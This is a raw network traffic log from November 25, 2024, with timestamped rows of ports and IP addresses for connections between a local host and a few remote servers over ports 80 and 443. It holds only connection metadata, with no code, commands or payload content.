Nov 25, 2024 12:08:51.013019085 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.013698101 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.013710976 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.013747931 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.013839960 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.014487982 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.014607906 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.015526056 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.015537977 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.015628099 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.016258955 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.016271114 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.016318083 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.017107964 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.017119884 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.017271042 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.018001080 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.018012047 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.018304110 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.018815041 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.018971920 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.020071983 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.020155907 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.020205975 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.020219088 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.020278931 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.020998001 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.021008968 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.021119118 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.021574974 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.021588087 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.021713972 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.022310972 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.022409916 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.022589922 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.022696018 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.022772074 CET	443	49803	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:51.022984982 CET	49803	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:51.022994995 CET	443	49803	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:51.023210049 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.023442984 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.023504019 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.023904085 CET	443	49803	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:51.023972034 CET	49803	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:51.024091959 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.024147034 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.024312973 CET	49803	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:51.024375916 CET	443	49803	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:51.024393082 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.024449110 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.024521112 CET	49803	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:51.024527073 CET	443	49803	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:51.024955034 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.025175095 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.025219917 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.025814056 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.025888920 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.026087046 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.026279926 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.026927948 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.027014971 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.027152061 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.027230024 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.027616024 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.027750969 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.027761936 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.027793884 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.028486967 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.028500080 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.028642893 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.029308081 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.029512882 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.029575109 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.030164003 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.030278921 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.030394077 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.030592918 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.031049013 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.031265020 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.031311035 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.031688929 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.031939030 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.032104015 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.032116890 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.032167912 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.032813072 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.032824993 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.032905102 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.033731937 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.033744097 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.033870935 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.034617901 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.034676075 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.035556078 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.035567999 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.035614967 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.035629034 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.035661936 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.036350012 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.036420107 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.037199020 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.037215948 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.037226915 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.037259102 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.037341118 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.038022041 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.038408041 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.038939953 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.038954973 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.038964987 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.039028883 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.039028883 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.039786100 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.039840937 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.039853096 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.039926052 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.040694952 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.040708065 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.040759087 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.044967890 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.044979095 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.044996977 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.045070887 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.045070887 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.079243898 CET	49803	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:51.094527006 CET	443	49797	104.40.82.182	192.168.2.8
Nov 25, 2024 12:08:51.094594002 CET	443	49797	104.40.82.182	192.168.2.8
Nov 25, 2024 12:08:51.094634056 CET	49797	443	192.168.2.8	104.40.82.182
Nov 25, 2024 12:08:51.094646931 CET	443	49797	104.40.82.182	192.168.2.8
Nov 25, 2024 12:08:51.094659090 CET	49797	443	192.168.2.8	104.40.82.182
Nov 25, 2024 12:08:51.094733953 CET	49797	443	192.168.2.8	104.40.82.182
Nov 25, 2024 12:08:51.136535883 CET	443	49798	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:51.136564016 CET	443	49798	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:51.136756897 CET	49798	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:51.136765957 CET	443	49798	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:51.137618065 CET	49798	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:51.137912989 CET	49806	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:51.137942076 CET	443	49806	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:51.138083935 CET	49806	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:51.138489008 CET	49806	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:51.138503075 CET	443	49806	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:51.138657093 CET	443	49798	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:51.138803959 CET	443	49798	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:51.138883114 CET	49798	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:51.138883114 CET	49798	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:51.146732092 CET	443	49797	104.40.82.182	192.168.2.8
Nov 25, 2024 12:08:51.146792889 CET	443	49797	104.40.82.182	192.168.2.8
Nov 25, 2024 12:08:51.146806002 CET	49797	443	192.168.2.8	104.40.82.182
Nov 25, 2024 12:08:51.146822929 CET	443	49797	104.40.82.182	192.168.2.8
Nov 25, 2024 12:08:51.146858931 CET	49797	443	192.168.2.8	104.40.82.182
Nov 25, 2024 12:08:51.146881104 CET	49797	443	192.168.2.8	104.40.82.182
Nov 25, 2024 12:08:51.199039936 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.199166059 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.199202061 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.199256897 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.199553013 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.199611902 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.199729919 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.199791908 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.200418949 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.200594902 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.200602055 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.200668097 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.201261997 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.201426029 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.201492071 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.202156067 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.202265024 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.202336073 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.202408075 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.202934980 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.203021049 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.203113079 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.203170061 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.203850985 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.203911066 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.203974962 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.204036951 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.204808950 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.204822063 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.205046892 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.206003904 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.206171036 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.206213951 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.206213951 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.206890106 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.206964016 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.207067966 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.207221985 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.207736969 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.207748890 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.207916975 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.208379984 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.208448887 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.208543062 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.208604097 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.209225893 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.209239006 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.209305048 CET	443	49802	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:51.209335089 CET	443	49802	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:51.209376097 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.209403038 CET	49802	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:51.209428072 CET	443	49802	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:51.210092068 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.210103035 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.210206985 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.210558891 CET	49802	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:51.210614920 CET	443	49802	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:51.210778952 CET	49802	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:51.210947037 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.210968018 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.210969925 CET	49807	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:51.211014986 CET	443	49807	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:51.211029053 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.211029053 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.211769104 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.211781979 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.211854935 CET	49807	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:51.211854935 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.211916924 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.212307930 CET	49807	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:51.212323904 CET	443	49807	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:51.212593079 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.212699890 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.212732077 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.212796926 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.213429928 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.213598013 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.213608027 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.213660002 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.214255095 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:51.214312077 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.214324951 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.214416027 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.214492083 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:51.214602947 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:51.214617968 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:51.214665890 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:51.215038061 CET	443	49800	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:51.215127945 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:51.215277910 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:51.215286970 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:51.215293884 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.215296030 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.215358973 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.216099977 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.216114044 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.216181993 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.216181993 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.217086077 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.217097998 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.217231989 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.217914104 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.217926025 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.217974901 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.217987061 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.218019009 CET	443	49800	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:51.218031883 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.218031883 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.218081951 CET	49800	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:51.218090057 CET	443	49800	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:51.218132973 CET	49800	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:51.218487978 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.218544960 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.218592882 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.218606949 CET	49800	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:51.218615055 CET	443	49800	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:51.221328020 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.221342087 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.221468925 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.222158909 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.222230911 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.222294092 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.222366095 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.222486019 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.222533941 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.222641945 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.222681999 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.223205090 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.223279953 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.223361015 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.223499060 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.224030972 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.224042892 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.224100113 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.224514961 CET	443	49799	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:51.224539042 CET	443	49799	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:51.224622965 CET	49799	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:51.224632025 CET	443	49799	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:51.224797964 CET	443	49799	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:51.224864960 CET	49799	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:51.224883080 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.224895954 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.224929094 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.224946976 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.225641966 CET	49799	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:51.225665092 CET	443	49799	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:51.225718021 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.225862026 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.225886106 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.225967884 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.226583004 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.226596117 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.226645947 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.226737976 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.227421045 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.227543116 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.227572918 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.227622032 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.228423119 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.228502989 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.228743076 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.228818893 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.229399920 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.229458094 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.229571104 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.229686975 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.229954958 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.230161905 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.230315924 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.230370998 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.230818987 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.230871916 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.231153011 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.231256008 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.231780052 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.231873989 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.232095003 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.232319117 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.232640028 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.232758045 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.232978106 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.233037949 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.233926058 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.234117985 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.234289885 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.234446049 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.234618902 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.234693050 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.235132933 CET	80	49744	185.215.113.206	192.168.2.8
